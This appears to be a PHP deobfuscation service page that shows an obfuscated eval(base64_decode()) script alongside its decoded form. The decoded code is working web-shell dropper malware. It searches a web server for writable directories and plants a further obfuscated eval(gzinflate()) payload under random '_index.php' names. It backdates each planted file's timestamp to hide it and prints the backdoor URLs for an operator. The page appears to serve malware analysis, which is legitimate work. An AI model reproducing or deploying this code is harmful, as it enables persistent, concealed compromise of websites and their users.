Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode("aWYoIWRlZmluZWQoIlBIUF9FT0wiKSkKewogICAgZGVmaW5lKCJQSFBfRU9MIiwg..

Decoded Output download

if(!defined("PHP_EOL"))
{
    define("PHP_EOL", "
");
}

if(!defined("DIRECTORY_SEPARATOR"))
{
    define("DIRECTORY_SEPARATOR", "/");
}

function generateRandomString($length = 10)
{
    $characters = '0123456789abcdefghijklmnopqrstuvwxyz';
    $charactersLength = strlen($characters);
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }
    return $randomString . "_index.php";
}

$payload_file = "PD9waHANCg0KDQpldmFsKCJcblwkZGdyZXVzZGkgPSBpbnR2YWwoX19MSU5FX18pICogMzM3OyIpOw0KDQokYSA9ICI3VmRyVCtOR0ZQMWVxZjloaUNJY0t3SEZqN0NsSVFoMkJkMVY2Ykl0aFZaQzFKbzRrMlFTdnpSMjY3NHJhRi85NHpEazc4R0xPb3U1VzZVbzJNN1psenozM01uVHMzSnp6Z1RzeVNsc2E2NzRDSVhqaFJPdFE5NWZYMXpvL1crL0liaE9OZ2pNT1NrcUJxUmJuZmZwdmNQdW1idEllQmc0Q2ZkWkFRZE1PdWg0M09kSks1MlFmM0t5U2FOSWg2NzR2cXhXUkF6dkZnL1d4cUhBcEczU2xwTlowM2w1Yy92anNqTkNaTk53em5uRGxod0FiSDJVZXlDdlcxekYvclI0VTVoOXp3cHlDZkJuVENoTU9ESlUrb3REK0hocElpT2s4cG1COHU0Uk5MNjc0aVphenBERzdNQjJSc3dOUjZ5MVJlb2RsWklzTnZMYXZ2Njc0eHlVdHVKM0p1eVd1SXdNeHpESS9yMThkTjVCYUJtN3JDZmNuRkhKOGx0RlVOa1dESlFnU2taSHZqK3ZTbm4yK004T0pzOHZyaStqUitlMllZVjcrdlRqOWNlZTl2Yms1N2I2NVhaeGZYaHZIREw5N2s5Vy9uNzk0Mk1tK3FCc0FaRm95Y09CNjc0OG1NU3BjL2hHU05ZanRTWTlBY2tmR2JLc1FZWnFweEtySEY2NzR1ZXo1Y1h2MzZsRHNCeUlhTFJPYU9ZREdqd3AzV2g3bVlRUm0rWHdTVlJPcnlLVk5jeUtkL0w2ZXFsdFhtbHNKeGVaVnpMSTIrbXI0Mi9YdzZaMDY4R1BvOGp2SGRha1lzakR6V2tRSHhQRG9NQlUyWVl1Y2lYR011L0xWdkRIRnBOQXB4dzlyQ0dUN285a21USHlGQlBMWWgxL3YxQzdxV202VnlzNDFjM2hheXU2dWlCTHpkaHRtODNmNTA1SnJzUG1HQmROaUpxS0ErN0EvRktDTzdiZkk3SFhtZER1VlUzelpuZDNvbE85VGhLSS9zNjc0M2NxV21XOTVYeDRMS3hZZGNzVlNaVWJEdXVJZXI5Tm8xdU56alc0OC9CQWRscWx2VjZzUFIyaWpjWkx5bWNSRzlNWlcwWGpHVDJjejY3NGFUV2NnbWZEYUs0bkEwR3pOTjE4bGdRQ29hbnEvdXAwTFFqNjFjRlpJUGhyT2tJaGF2ZUpJV2hid0M4SmVXMGNYR0l3M2UrRjZ4R2xRcXF5aXRRbTYxYUtuZEFYZ1NUYU1sNjc0K2tPZUE0ZXIrR2FzZC9kTXpRRmtMblRVSjZtZ2xPUC95a0xnaFJVVWFvMjc5b25wdktKSVJDRmtJeTB1NWZRNWpLSzNlTmszK1p2dFJZVVMxdHpSQk9LRFRWbkgydlBnSk5Gc1BVMWRnVmpRYUdZNUNnS0IxQkZ0VUlXN3c0Njc0NVVHNjc0TjVtaWloVERGTmFqVXNRMnNsOG80ZnVLemFoU21qZTI5c0F0bnhrOGlCYUp3cmZoWWp4bUlpdXRtK0ZrNkcxU3U3aitlMGJuYysvL0FPR0JXZnEyT3FTSHNaNTgyaVhDWGcrREI3aGY0ZjRPOXk2NzQ2NzR1cmcvb1FRUS9EZExiTkJnZ3dQaUhRSkM4SUhPa0ZpQURkaGdBRzY3NEFZZ0JqQUdRQVpRQm1ISmFZVEFpWlVnTzY3NFRBaVo2NzRESjc5ZmFZSUROQlpvTE1oRktyV3pZTklBdGtGc2dza0ZrZ3N5QmtRY2lDa0FVaEcwcHQ0R3pnYk9rTGNEWndObkQycXhLaERTNjc0YlFqMEk5YjdhWlBtZjhLc2oxRlY5SWlwYTJpbVNJNUkxZHV1eTJDZDZwZWNmcG1oRjc0elNlSnMyYmFsczJzYmRrWjJCVktyc0FpVlJqZFF1NmQ2Zm4rdms2QWdidkw1TGs1ZnNZcFQwYTY3NFVWSjdUOG9jR0RCYXVTbHR3TUZuNmRvNXkwaVZHSlZkb1pWN3hwR3krSUF2NDlrSllpRm12cGZEUk1aWU02NzRZeXZlVmx6YTJHNisxSGJ6czJ3M1M3WWZmQUhUclplYWJyM1k5RHJoSjh2L3NjMnJLZmNZNkdVaUhaT3UyZ3czM1FQREoyVmRYRG81UHNicHBsTDcxSkxzRDlJZk02N1N0QzY3NGlQU0RsUFpOWnZiZjMvR2FTTVI0UVc5M0JaaitEMW1aa0RkYmYiOw0KJGEgPSBzdHJfcmVwbGFjZSgkZGdyZXVzZGksICJFIiwgJGEpOw0KZXZhbCAoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJGEpKSk7";
$payload_name = "";

srand(time());

/////////////////////////////////////////////////////////
function comparer($a, $b)
{
    return strlen($a)-strlen($b);
}

if (!function_exists('file_put_contents')) {
    function file_put_contents($filename, $data) {
        $f = @fopen($filename, 'w');
        if (!$f) {
            return false;
        } else {
            $bytes = fwrite($f, $data);
            fclose($f);
            return $bytes;
        }
    }
}

function GetPathDiff($base_path, $full_path)
{
    $pos = strpos($full_path, $base_path);

    if ($pos === FALSE)
    {
        return FALSE;
    }

    return substr($full_path, $pos + strlen($base_path));
}

function GetWritableDirs()
{
    $res = Array();

    $analysys_queue = Array();

    $analysys_queue[] = GetDocRoot();

    $self_path = $_SERVER['SCRIPT_FILENAME'];
    while (($slash = strrpos($self_path, DIRECTORY_SEPARATOR)) !== FALSE)
    {
        $self_path = substr($self_path, 0, $slash);

        if ($self_path == GetDocRoot())
        {
            break;
        }

        if (strlen($self_path))
        {
            $analysys_queue[] = $self_path;
        }
    }

    foreach ($analysys_queue as $current_dir)
    {
        if (!in_array($current_dir, $res))
        {
            $res = array_merge($res, GetDirectoryList($current_dir));
        }
    }
    $res = array_merge($analysys_queue, $res);

    return CheckWritable(array_unique($res));
}

function CheckWritable($dir_list)
{
    $dir_list_writable = Array();

    foreach ($dir_list as $dir)
    {
        if (@is_writable($dir) == TRUE)
        {
            $dir_list_writable[] = $dir;
        }
    }

    return $dir_list_writable;
}

function GetDirectoryList($dir, $depth=1000)
{

    $result = array();
    $dir_count = 0;

    if ($depth == 0)
    {
        return $result;
    }

    $dir = strlen($dir) == 1 ? $dir : rtrim($dir, '\/');
    $h = @opendir($dir);
    if ($h === FALSE)
    {
        return $result;
    }

    while (($f = readdir($h)) !== FALSE)
    {
        if ($f !== '.' and $f !== '..')
        {
            $current_dir = "$dir/$f";
            if (is_dir($current_dir))
            {
                $dir_count += 1;

                if ($dir_count >= $depth)
                {
                    break;
                }

                $result[] = $current_dir;
                $result = array_merge($result, GetDirectoryList($current_dir, $depth / 10));
            }
        }
    }

    closedir($h);

    return $result;
}

function GetDocRoot()
{
    $docroot_end = strrpos($_SERVER['SCRIPT_FILENAME'], $_SERVER['REQUEST_URI']);
    if ($docroot_end === FALSE)
    {
        return $_SERVER['DOCUMENT_ROOT'];
    }
    elseif ($docroot_end === 0)
    {
        return "/";
    }
    else
    {
        return substr($_SERVER['SCRIPT_FILENAME'], 0, $docroot_end);
    }
}

function GetPayload($payload)
{
    $current_payload = base64_decode($payload);

    return $current_payload;
}

function WritePayload($path, $payload)
{
    if (!file_exists($path))
    {
        if (file_put_contents($path, GetPayload($payload)) != FALSE)
        {
            return TRUE;
        }

    }

    return FALSE;
}

////////////////////////////////////////////////////////////////////////////////////////////

# get base local and remote path
$base_www_path = $host = @$_SERVER['HTTP_HOST'];
$base_local_path = GetDocRoot();

if (!($base_local_path_time = @stat($base_local_path."/.htaccess")))
{
    if (!($base_local_path_time = @stat($base_local_path."/index.php")))
    {
        if (!($base_local_path_time = @stat($base_local_path."/index.html")))
        {
            if (!($base_local_path_time = @stat($base_local_path."/..")))
            {
                if (!($base_local_path_time = @stat($base_local_path)))
                {
                    $base_local_path_time = Array();
                    $base_local_path_time['mtime'] = time();
                }
            }
        }
    }
}

$base_local_path_time = $base_local_path_time['mtime'];

$dir_list_writable = GetWritableDirs();

if (count($dir_list_writable) == 0)
{
    echo "URL#STATUS_UNWRITABLE";
    exit();
}

usort($dir_list_writable, 'comparer'); # sort directory by len

$list_writable = Array();
$list_writable[] = $dir_list_writable[0];
$list_writable[] = $dir_list_writable[rand(0,sizeof($dir_list_writable))];
$good = FALSE;
$good_counter = 0;
# try to upload
$max_tryes = strlen($payload_name) == 0 ? 5 : 1;
foreach ($list_writable as $current_dir)
{
    // if payload name is set, no more one try to upload on current dir
    //for ($i=0; $i < $max_tryes; $i++)
    {
        if (strlen($payload_name) == 0)
        {
            $temp_payload_name = generateRandomString();
        }
        else
        {
            $temp_payload_name = $payload_name;
        }

        $full_payload_name = $current_dir . DIRECTORY_SEPARATOR . $temp_payload_name;

        $uri_path = GetPathDiff($base_local_path, $full_payload_name);
        if (strpos($uri_path, $temp_payload_name) === false)
        {
            $uri_path = $uri_path . "/"  . $temp_payload_name;
        }
        $full_uri = $base_www_path . (strpos($uri_path, "/") == 0 ? $uri_path : "/".$uri_path);

        if (WritePayload($full_payload_name, $payload_file))
        {
            touch($full_payload_name, $base_local_path_time); // set last modification time as root folder
            chmod($full_payload_name, 0755);
            echo "URL#http://" . $full_uri . PHP_EOL;
            $good=TRUE;
            $good_counter++;
            if ($good_counter >1)
            {
                //unlink("dfaonfpfkwg.php");
                echo "#CCCURL";
                exit();
            }
        }
    }
}
if(!$good)
    echo "URL#STATUS_CANTUPLOAD#CCCURL";
echo "#CCCURL";
//unlink("dfaonfpfkwg.php");
exit();

Did this file decode correctly?

Original Code

<?php eval(base64_decode("aWYoIWRlZmluZWQoIlBIUF9FT0wiKSkKewogICAgZGVmaW5lKCJQSFBfRU9MIiwgIlxuIik7Cn0KCmlmKCFkZWZpbmVkKCJESVJFQ1RPUllfU0VQQVJBVE9SIikpCnsKICAgIGRlZmluZSgiRElSRUNUT1JZX1NFUEFSQVRPUiIsICIvIik7Cn0KCmZ1bmN0aW9uIGdlbmVyYXRlUmFuZG9tU3RyaW5nKCRsZW5ndGggPSAxMCkKewogICAgJGNoYXJhY3RlcnMgPSAnMDEyMzQ1Njc4OWFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6JzsKICAgICRjaGFyYWN0ZXJzTGVuZ3RoID0gc3RybGVuKCRjaGFyYWN0ZXJzKTsKICAgICRyYW5kb21TdHJpbmcgPSAnJzsKICAgIGZvciAoJGkgPSAwOyAkaSA8ICRsZW5ndGg7ICRpKyspIHsKICAgICAgICAkcmFuZG9tU3RyaW5nIC49ICRjaGFyYWN0ZXJzW3JhbmQoMCwgJGNoYXJhY3RlcnNMZW5ndGggLSAxKV07CiAgICB9CiAgICByZXR1cm4gJHJhbmRvbVN0cmluZyAuICJfaW5kZXgucGhwIjsKfQoKJHBheWxvYWRfZmlsZSA9ICJQRDl3YUhBTkNnMEtEUXBsZG1Gc0tDSmNibHdrWkdkeVpYVnpaR2tnUFNCcGJuUjJZV3dvWDE5TVNVNUZYMThwSUNvZ016TTNPeUlwT3cwS0RRb2tZU0E5SUNJM1ZtUnlWQ3RPUjBaUU1XVnhaamxvYVVOSlkwdDNTRVpxTjBOc1NWRm9Na0prTVZZMllrbDBhRlphUXpGS2J6UnJNbEZUZG5wU01qWTNOSEpoUmk4NU5IcEVhemM0UjB4UGIzVTFWelpWYnpKTk4xcHNlbm96TTAxdVZITXpTbnA2WjFSemVWTnNjMkUyTnpSRFNWaHFhRkpQZEZFNU5XWllNWHB2TDFjckwwbGlhRTlPWjJwTlQxTnJjVUp4VW1KdVptWndkbU5RZFcxaWRFbGxRbWMwUTJaa1drRlJaRTFQZFdnME0wOWtTa3MxTWxGbU0wdDVVMkZPU1dnMk56UjJjWGhYVWtGNmRrWm5MMWQ0Y1VoQmNFY3pVMnh3VGxvd00ydzFZeTkyYW5OcVRrTmFUazUzZW01dVJHeG9kMEZpU0RKVlpYbERkbGN4ZWtZdmNsSTBWVFZvT1hwM2NIbERaa0p1VkVOb1RVOUVTbFVyYjNSRUswaG9jRWxwVDJzNGNHMUNPSFUwVWs1TU5qYzBhVnBoZW5CRVJ6ZE5RakpTYzNkT1VqWjVNVkpsYjJSc1drbHpUblpNWVhaMk5qYzBlSGxWZEhWS00wcDFlVmQxU1hkTmVIcEVTUzl5TVRoa1RqVkNZVUp0TjNKRFptTnVSa2hLT0d4MFJsVk9hMWRFU2xGblUydGFTSFpxSzNaVGJtNHlLMDA0VDBwek9IWnlhU3RxVWl0bE1sbFpWamNyZGxScU9XTmxaVGwyWW1zMU4ySTJOVmhhZUdaWWFIWklSRXc1TjJzNVZ5OXVOemswTWsxdEszRkNjMEZhUm05NVkwOUNOamMwT0cxTlUzQmpMMmhIVTA1WmFuUlRXVGxCWTJ0bVIySkxjMUZaV25Gd2VFdHlTRVkyTnpSMVpYbzFZMWgyTXpac1JITkNlVWxoVEZKUFlVOVpSRWRxZDNBelYyZzNiVmxSVW0wcldIZFRWbEpQY25sTFZrNWplVXRrTDB3MlpYRnNkRmh0YkhOS2VHVmFWbnBNU1RJcmJYSTBNaTlZZHpaYU1EWTRSMUJ2T0dwMlNHUmhhMWx6YWtSNlYydFJTSGhRUkc5TlFsVXlXVmwxWTJsWVIwMTFMMHhXZGtSSVJuQk9RWEI0ZHpseVEwZFVOMjg1YTIxVVNIbEdRbEJNV1dneEwzWXhRemR4VjIwMlZubHpOREZqTTJoaGVYVTJkV2xDVEhwa2FIUnRPRE5tTlRBMVNuSnpVRzFIUW1ST2FVcHhTMEVyTjBFdlJrdERUemRpWmtrM1NGaHRaRVIxVmxVemVscHVaRE52YkU4NVZHaExTUzl6TmpjME0yTnhWMjFYT1RWWWVEUk1TM2haWkdOelZsTmFWV0pFZFhWSlpYSTVUbTh4ZFU1NmFsYzBPQzlDUVdSc2NXeDJWalp6VUZJeWFXcGpXa3g1YldOU1J6bE5XbGN3V0dwSFZESmplalkzTkdGVVYyTm5iV1pFWVVzMGJrRXdSM3BPVGpFNGJHZFJRMjloYm5FdmRYQXdURkZxTmpGalJscEpVR2h5VDJ0SmFHRjJaVXBKVjJoaWQwTTRTbVZYTUdOWVIwbDNNMlVyUmpaNFIyeFJjWEY1YVhSUmJUWXhZVXR1WkVGWVoxTlVZVTFzTmpjMEsydFBaVUUwWlhJclIyRnpaQzlrVFhwUlJtdE1ibFJWU2padFoyeFBVQzk1YTB4bmFGSlZWV0Z2TWpjNWIyNXdka3RLU1ZKRFJtdEplVEIxTldaUk5XcExTek5sVG1zeksxcDJkRkpaVlZNeGRIcFNRazlMUkZSV2JrZ3lkbEJuU2s1R2MxQlZNV1JuVm1wUllVZFpOVU5uUzBJeFFrWjBWVWxYTjNjME5qYzBOVlZITmpjMFRqVnRhV2xvVkVSR1RtRnFWWE5STW5Oc09HODBablZMZW1Gb1UyMXFaVEk1YzBGMGJuaHJPR2xDWVVwM2NtWm9XV3A0YlVscGRYUnRLMFpyTmtjeFUzVTNhaXRsTUdKdVl5c3ZMMEZQUjBKWFpuRXlUM0ZUU0hOYU5UZ3lhVmhEV0djclJFSTNhR1kwWmpSUE9YazJOelEyTnpSMWNtY3ZiMUZSVVM5RVpFeGlUa0puWjNkUWFVaFJTa000U1VoUGEwWnBRVVJrYUdkQlJ6WTNORUZaWjBKcVFVZFJRVnBSUW0xSVNtRlpWRUZwV2xWblR6WTNORlJCYVZvMk56UkVTamM1Wm1GWlNVUk9RbHB2VEUxb1JrdHlWM3BaVGtsQmRHdEdjMmR6YTBaclozTjVRbXRSWTJsRGEwRlZhRWN3Y0hRMFIzcG5ZazlyVEdORVduZE9ia1F5Y1hoTGFFUlROamMwWWxGcU1FazVZamRoV2xCdFpqaExjMm94UmxZNVNXbHdZVEpwYlZOSk5Va3haSFYxZVRKRFpEWndaV05tY0cxb1JqYzBlbE5sU25NeVltRnNjekp6WW1ScldqSkNWa3R5YzBGcFZsSnFaRkYxTm1RMlptNHJkbXMyUVdkaWRrdzFUR3MxWm5OWmNGUXdZVFkzTkZWV1NqZFVPRzlqUjBSQ1lYVlRiSFIzVFVadU5tUnZOWGt3YVZaSFNsWmtiMXBXTjNod1Iza3JTVUYyTkRsclNsbHBSbTEyY0daRVVrMWFXVTAyTnpSWmVYWmxWbXg2WVRKSE5pc3hTR0o2Y3pKM00xTTNXV1ptUVVoVWNscGxZV0p5TTFrNVJISm9TamgyTDNOak1uSkxabU5aTmtkVmFVaGFUM1V5WjNjek0xRlFSRW95Vm1SWVJHODFVSE5pY0hCc1REY3hTa3h6UkRsSlprMDJOMU4wUXpZM05HbFFVMFJzVUZwT1duWmlaak12UjJGVFRWSTBVVmM1TTBKYWFpdEVNVzFhYTBSa1ltWWlPdzBLSkdFZ1BTQnpkSEpmY21Wd2JHRmpaU2drWkdkeVpYVnpaR2tzSUNKRklpd2dKR0VwT3cwS1pYWmhiQ0FvWjNwcGJtWnNZWFJsS0dKaGMyVTJORjlrWldOdlpHVW9KR0VwS1NrNyI7CiRwYXlsb2FkX25hbWUgPSAiIjsKCnNyYW5kKHRpbWUoKSk7CgovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8KZnVuY3Rpb24gY29tcGFyZXIoJGEsICRiKQp7CiAgICByZXR1cm4gc3RybGVuKCRhKS1zdHJsZW4oJGIpOwp9CgppZiAoIWZ1bmN0aW9uX2V4aXN0cygnZmlsZV9wdXRfY29udGVudHMnKSkgewogICAgZnVuY3Rpb24gZmlsZV9wdXRfY29udGVudHMoJGZpbGVuYW1lLCAkZGF0YSkgewogICAgICAgICRmID0gQGZvcGVuKCRmaWxlbmFtZSwgJ3cnKTsKICAgICAgICBpZiAoISRmKSB7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkYnl0ZXMgPSBmd3JpdGUoJGYsICRkYXRhKTsKICAgICAgICAgICAgZmNsb3NlKCRmKTsKICAgICAgICAgICAgcmV0dXJuICRieXRlczsKICAgICAgICB9CiAgICB9Cn0KCmZ1bmN0aW9uIEdldFBhdGhEaWZmKCRiYXNlX3BhdGgsICRmdWxsX3BhdGgpCnsKICAgICRwb3MgPSBzdHJwb3MoJGZ1bGxfcGF0aCwgJGJhc2VfcGF0aCk7CgogICAgaWYgKCRwb3MgPT09IEZBTFNFKQogICAgewogICAgICAgIHJldHVybiBGQUxTRTsKICAgIH0KCiAgICByZXR1cm4gc3Vic3RyKCRmdWxsX3BhdGgsICRwb3MgKyBzdHJsZW4oJGJhc2VfcGF0aCkpOwp9CgpmdW5jdGlvbiBHZXRXcml0YWJsZURpcnMoKQp7CiAgICAkcmVzID0gQXJyYXkoKTsKCiAgICAkYW5hbHlzeXNfcXVldWUgPSBBcnJheSgpOwoKICAgICRhbmFseXN5c19xdWV1ZVtdID0gR2V0RG9jUm9vdCgpOwoKICAgICRzZWxmX3BhdGggPSAkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ107CiAgICB3aGlsZSAoKCRzbGFzaCA9IHN0cnJwb3MoJHNlbGZfcGF0aCwgRElSRUNUT1JZX1NFUEFSQVRPUikpICE9PSBGQUxTRSkKICAgIHsKICAgICAgICAkc2VsZl9wYXRoID0gc3Vic3RyKCRzZWxmX3BhdGgsIDAsICRzbGFzaCk7CgogICAgICAgIGlmICgkc2VsZl9wYXRoID09IEdldERvY1Jvb3QoKSkKICAgICAgICB7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIH0KCiAgICAgICAgaWYgKHN0cmxlbigkc2VsZl9wYXRoKSkKICAgICAgICB7CiAgICAgICAgICAgICRhbmFseXN5c19xdWV1ZVtdID0gJHNlbGZfcGF0aDsKICAgICAgICB9CiAgICB9CgogICAgZm9yZWFjaCAoJGFuYWx5c3lzX3F1ZXVlIGFzICRjdXJyZW50X2RpcikKICAgIHsKICAgICAgICBpZiAoIWluX2FycmF5KCRjdXJyZW50X2RpciwgJHJlcykpCiAgICAgICAgewogICAgICAgICAgICAkcmVzID0gYXJyYXlfbWVyZ2UoJHJlcywgR2V0RGlyZWN0b3J5TGlzdCgkY3VycmVudF9kaXIpKTsKICAgICAgICB9CiAgICB9CiAgICAkcmVzID0gYXJyYXlfbWVyZ2UoJGFuYWx5c3lzX3F1ZXVlLCAkcmVzKTsKCiAgICByZXR1cm4gQ2hlY2tXcml0YWJsZShhcnJheV91bmlxdWUoJHJlcykpOwp9CgpmdW5jdGlvbiBDaGVja1dyaXRhYmxlKCRkaXJfbGlzdCkKewogICAgJGRpcl9saXN0X3dyaXRhYmxlID0gQXJyYXkoKTsKCiAgICBmb3JlYWNoICgkZGlyX2xpc3QgYXMgJGRpcikKICAgIHsKICAgICAgICBpZiAoQGlzX3dyaXRhYmxlKCRkaXIpID09IFRSVUUpCiAgICAgICAgewogICAgICAgICAgICAkZGlyX2xpc3Rfd3JpdGFibGVbXSA9ICRkaXI7CiAgICAgICAgfQogICAgfQoKICAgIHJldHVybiAkZGlyX2xpc3Rfd3JpdGFibGU7Cn0KCmZ1bmN0aW9uIEdldERpcmVjdG9yeUxpc3QoJGRpciwgJGRlcHRoPTEwMDApCnsKCiAgICAkcmVzdWx0ID0gYXJyYXkoKTsKICAgICRkaXJfY291bnQgPSAwOwoKICAgIGlmICgkZGVwdGggPT0gMCkKICAgIHsKICAgICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0KCiAgICAkZGlyID0gc3RybGVuKCRkaXIpID09IDEgPyAkZGlyIDogcnRyaW0oJGRpciwgJ1xcLycpOwogICAgJGggPSBAb3BlbmRpcigkZGlyKTsKICAgIGlmICgkaCA9PT0gRkFMU0UpCiAgICB7CiAgICAgICAgcmV0dXJuICRyZXN1bHQ7CiAgICB9CgogICAgd2hpbGUgKCgkZiA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpCiAgICB7CiAgICAgICAgaWYgKCRmICE9PSAnLicgYW5kICRmICE9PSAnLi4nKQogICAgICAgIHsKICAgICAgICAgICAgJGN1cnJlbnRfZGlyID0gIiRkaXIvJGYiOwogICAgICAgICAgICBpZiAoaXNfZGlyKCRjdXJyZW50X2RpcikpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICRkaXJfY291bnQgKz0gMTsKCiAgICAgICAgICAgICAgICBpZiAoJGRpcl9jb3VudCA+PSAkZGVwdGgpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgJHJlc3VsdFtdID0gJGN1cnJlbnRfZGlyOwogICAgICAgICAgICAgICAgJHJlc3VsdCA9IGFycmF5X21lcmdlKCRyZXN1bHQsIEdldERpcmVjdG9yeUxpc3QoJGN1cnJlbnRfZGlyLCAkZGVwdGggLyAxMCkpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQoKICAgIGNsb3NlZGlyKCRoKTsKCiAgICByZXR1cm4gJHJlc3VsdDsKfQoKZnVuY3Rpb24gR2V0RG9jUm9vdCgpCnsKICAgICRkb2Nyb290X2VuZCA9IHN0cnJwb3MoJF9TRVJWRVJbJ1NDUklQVF9GSUxFTkFNRSddLCAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSk7CiAgICBpZiAoJGRvY3Jvb3RfZW5kID09PSBGQUxTRSkKICAgIHsKICAgICAgICByZXR1cm4gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXTsKICAgIH0KICAgIGVsc2VpZiAoJGRvY3Jvb3RfZW5kID09PSAwKQogICAgewogICAgICAgIHJldHVybiAiLyI7CiAgICB9CiAgICBlbHNlCiAgICB7CiAgICAgICAgcmV0dXJuIHN1YnN0cigkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10sIDAsICRkb2Nyb290X2VuZCk7CiAgICB9Cn0KCmZ1bmN0aW9uIEdldFBheWxvYWQoJHBheWxvYWQpCnsKICAgICRjdXJyZW50X3BheWxvYWQgPSBiYXNlNjRfZGVjb2RlKCRwYXlsb2FkKTsKCiAgICByZXR1cm4gJGN1cnJlbnRfcGF5bG9hZDsKfQoKZnVuY3Rpb24gV3JpdGVQYXlsb2FkKCRwYXRoLCAkcGF5bG9hZCkKewogICAgaWYgKCFmaWxlX2V4aXN0cygkcGF0aCkpCiAgICB7CiAgICAgICAgaWYgKGZpbGVfcHV0X2NvbnRlbnRzKCRwYXRoLCBHZXRQYXlsb2FkKCRwYXlsb2FkKSkgIT0gRkFMU0UpCiAgICAgICAgewogICAgICAgICAgICByZXR1cm4gVFJVRTsKICAgICAgICB9CgogICAgfQoKICAgIHJldHVybiBGQUxTRTsKfQoKLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8KCiMgZ2V0IGJhc2UgbG9jYWwgYW5kIHJlbW90ZSBwYXRoCiRiYXNlX3d3d19wYXRoID0gJGhvc3QgPSBAJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwokYmFzZV9sb2NhbF9wYXRoID0gR2V0RG9jUm9vdCgpOwoKaWYgKCEoJGJhc2VfbG9jYWxfcGF0aF90aW1lID0gQHN0YXQoJGJhc2VfbG9jYWxfcGF0aC4iLy5odGFjY2VzcyIpKSkKewogICAgaWYgKCEoJGJhc2VfbG9jYWxfcGF0aF90aW1lID0gQHN0YXQoJGJhc2VfbG9jYWxfcGF0aC4iL2luZGV4LnBocCIpKSkKICAgIHsKICAgICAgICBpZiAoISgkYmFzZV9sb2NhbF9wYXRoX3RpbWUgPSBAc3RhdCgkYmFzZV9sb2NhbF9wYXRoLiIvaW5kZXguaHRtbCIpKSkKICAgICAgICB7CiAgICAgICAgICAgIGlmICghKCRiYXNlX2xvY2FsX3BhdGhfdGltZSA9IEBzdGF0KCRiYXNlX2xvY2FsX3BhdGguIi8uLiIpKSkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgaWYgKCEoJGJhc2VfbG9jYWxfcGF0aF90aW1lID0gQHN0YXQoJGJhc2VfbG9jYWxfcGF0aCkpKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICRiYXNlX2xvY2FsX3BhdGhfdGltZSA9IEFycmF5KCk7CiAgICAgICAgICAgICAgICAgICAgJGJhc2VfbG9jYWxfcGF0aF90aW1lWydtdGltZSddID0gdGltZSgpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQp9CgokYmFzZV9sb2NhbF9wYXRoX3RpbWUgPSAkYmFzZV9sb2NhbF9wYXRoX3RpbWVbJ210aW1lJ107CgokZGlyX2xpc3Rfd3JpdGFibGUgPSBHZXRXcml0YWJsZURpcnMoKTsKCmlmIChjb3VudCgkZGlyX2xpc3Rfd3JpdGFibGUpID09IDApCnsKICAgIGVjaG8gIlVSTCNTVEFUVVNfVU5XUklUQUJMRSI7CiAgICBleGl0KCk7Cn0KCnVzb3J0KCRkaXJfbGlzdF93cml0YWJsZSwgJ2NvbXBhcmVyJyk7ICMgc29ydCBkaXJlY3RvcnkgYnkgbGVuCgokbGlzdF93cml0YWJsZSA9IEFycmF5KCk7CiRsaXN0X3dyaXRhYmxlW10gPSAkZGlyX2xpc3Rfd3JpdGFibGVbMF07CiRsaXN0X3dyaXRhYmxlW10gPSAkZGlyX2xpc3Rfd3JpdGFibGVbcmFuZCgwLHNpemVvZigkZGlyX2xpc3Rfd3JpdGFibGUpKV07CiRnb29kID0gRkFMU0U7CiRnb29kX2NvdW50ZXIgPSAwOwojIHRyeSB0byB1cGxvYWQKJG1heF90cnllcyA9IHN0cmxlbigkcGF5bG9hZF9uYW1lKSA9PSAwID8gNSA6IDE7CmZvcmVhY2ggKCRsaXN0X3dyaXRhYmxlIGFzICRjdXJyZW50X2RpcikKewogICAgLy8gaWYgcGF5bG9hZCBuYW1lIGlzIHNldCwgbm8gbW9yZSBvbmUgdHJ5IHRvIHVwbG9hZCBvbiBjdXJyZW50IGRpcgogICAgLy9mb3IgKCRpPTA7ICRpIDwgJG1heF90cnllczsgJGkrKykKICAgIHsKICAgICAgICBpZiAoc3RybGVuKCRwYXlsb2FkX25hbWUpID09IDApCiAgICAgICAgewogICAgICAgICAgICAkdGVtcF9wYXlsb2FkX25hbWUgPSBnZW5lcmF0ZVJhbmRvbVN0cmluZygpOwogICAgICAgIH0KICAgICAgICBlbHNlCiAgICAgICAgewogICAgICAgICAgICAkdGVtcF9wYXlsb2FkX25hbWUgPSAkcGF5bG9hZF9uYW1lOwogICAgICAgIH0KCiAgICAgICAgJGZ1bGxfcGF5bG9hZF9uYW1lID0gJGN1cnJlbnRfZGlyIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICR0ZW1wX3BheWxvYWRfbmFtZTsKCiAgICAgICAgJHVyaV9wYXRoID0gR2V0UGF0aERpZmYoJGJhc2VfbG9jYWxfcGF0aCwgJGZ1bGxfcGF5bG9hZF9uYW1lKTsKICAgICAgICBpZiAoc3RycG9zKCR1cmlfcGF0aC